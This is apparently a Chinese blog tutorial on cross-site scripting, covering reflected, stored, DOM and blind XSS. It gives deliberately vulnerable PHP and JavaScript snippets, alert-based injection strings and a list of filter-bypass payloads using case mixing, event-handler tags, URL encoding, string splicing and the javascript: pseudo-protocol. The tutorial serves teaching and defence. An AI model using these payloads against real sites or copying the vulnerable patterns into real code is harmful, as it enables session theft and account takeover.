XSS注入
XSS注入
介绍:
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
反射型XSS:
反射型一般通过点击链接来触发
举个栗子:代码为<?php echo "<p>hello, $_GET['a']</p>";?>
注入方式为:/?a=</p><script>alert("xss")</script><p>
通过前面的</p>来闭合代码中的<p>,在html中插入JavaScript代码<script>alert("xss")</script>来达到弹出xss的窗口,后面的<p>来闭合后面的</p>
XSS分类:
储存型XSS:
多储存在评论区,留言处。储存型XSS相对反射性XSS危害更大,攻击者可以把攻击载荷储存在数据库,造成持续攻击。
DOM XSS:
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <html> <head> <title>DOM Based XSS Demo</title> <script> function xsstest() { var str = document.getElementById( "input" ).value; document.getElementById( "output" ).innerHTML = "<img src='" +str+ "'></img>" ; } </script> </head> <body> <div id= "output" ></div> <input type= "text" id= "input" size=50 value= "" /> <input type= "button" value= "submit" onclick= "xsstest()" /> </body> </html> |
注入方式:x' onerror='javascript:alert(/xss/)
Blind XSS:
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
XSS注入的危害:
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
XSS注入的一些绕过姿势:
1、大小写绕过 如:<sCrIpT>alert(1)</sCrIpT>
2、利用其他标签进行注入 如:<audio src=x onerror=alert(47)>
<img src=document.domain onerror=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
3、编码绕过 如:%3Cscript%3Ealert(%221%22)%3C/script%3E
4、拼接 如:<script>top["al"+"ert"](1)</script>
5、伪协议 如:<a href=javascript:/0/,alert(%22M%22)>M</a>
如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
本文作者:mt0u的Blog
本文链接:https://www.cnblogs.com/mt0u/p/16006425.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步